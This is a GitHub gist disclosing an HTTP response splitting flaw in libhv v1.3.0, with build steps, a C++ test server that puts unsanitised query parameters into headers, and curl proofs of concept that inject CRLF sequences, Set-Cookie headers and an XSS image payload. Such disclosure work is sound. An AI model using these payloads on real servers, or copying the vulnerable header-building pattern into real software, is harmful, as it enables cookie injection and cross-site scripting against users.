Skip to content

Instantly share code, notes, and snippets.

@dellalibera
Created May 16, 2023 10:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dellalibera/2be265b56b7b3b00de1a777b9dec0c7b to your computer and use it in GitHub Desktop.
Save dellalibera/2be265b56b7b3b00de1a777b9dec0c7b to your computer and use it in GitHub Desktop.
HTTP Response Splitting in libhv@v1.3.0

Information

Project: libhv

Tested Version: v1.3.0 (commit 579938146ff0cd99d379c038bea80d3241c5bc36)

Github Repository: https://github.com/ithewei/libhv

Details

libhv is vulnerable to HTTP Response Splitting when untrusted user input is used to build headers values. An attacker can add the \r\n (carriage return line feeds) characters to end the HTTP response headers and inject malicious content, like for example additional headers or new response body, leading to a potential XSS vulnerability.

References about this vulnerability and its impact:

References to similar issues affecting other projects:

Setup

Install and build the project https://github.com/ithewei/libhv#%EF%B8%8F-build

git clone https://github.com/ithewei/libhv.git
cd libhv
mkdir build
cd build
cmake ..
cmake --build .

PoC

The PoC demonstrates how it's possible to add arbitrary headers and response body if user controlled values are used to set the headers value.

cmake --build .
./bin/http_server_test
  • run the following curl commands to observe the response (or directly open the links in the browser to see the xss alert)
curl -i -X GET "http://localhost:8080/test1?name=test%0d%0aSet-Cookie:foo%3Dbar%0d%0aContent-Type:text/html%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 39
Content-Type: text/plain
Date: Tue, 16 May 2023 10:28:06 GMT
MyHeader: User-test
Set-Cookie:foo=bar
Content-Type:text/html

<img src=x onerror=alert("hello") />
curl -i -X GET "http://localhost:8080/test2?location=test1%0d%0aFoo:+Bar%0d%0aSet-Cookie:admin%3D1"
HTTP/1.1 301 Moved Permanently
Connection: keep-alive
Content-Length: 0
Date: Tue, 16 May 2023 10:28:19 GMT
Location: test1
Foo: Bar
Set-Cookie:admin=1
Server: httpd/1.23.5.16

Impact

If untrusted user input is placed in header values, a malicious user could inject additional headers or new response body, leading to a potential XSS vulnerability or a number of other issues.

Author

Alessio Della Libera

#include "HttpServer.h"
using namespace hv;
int main(int argc, char** argv) {
HV_MEMCHECK;
int port = 8080;
HttpService router;
// curl -i -X GET "http://localhost:8080/test1?name=test%0d%0aSet-Cookie:foo%3Dbar%0d%0aContent-Type:text/html%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
router.GET("/test1", [](HttpRequest* req, HttpResponse* resp) {
resp->headers["MyHeader"] = "User-" + req->query_params["name"];
return resp->String("Hello world!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
});
// curl -i -X GET "http://localhost:8080/test2?location=test1%0d%0aFoo:+Bar%0d%0aSet-Cookie:admin%3D1"
router.GET("/test2", [](HttpRequest* req, HttpResponse* resp) {
auto location = req->query_params["location"];
return resp->Redirect(location, HTTP_STATUS_MOVED_PERMANENTLY);
});
http_server_t server;
server.service = &router;
server.port = port;
http_server_run(&server, 0);
while (getchar() != '\n');
http_server_stop(&server);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment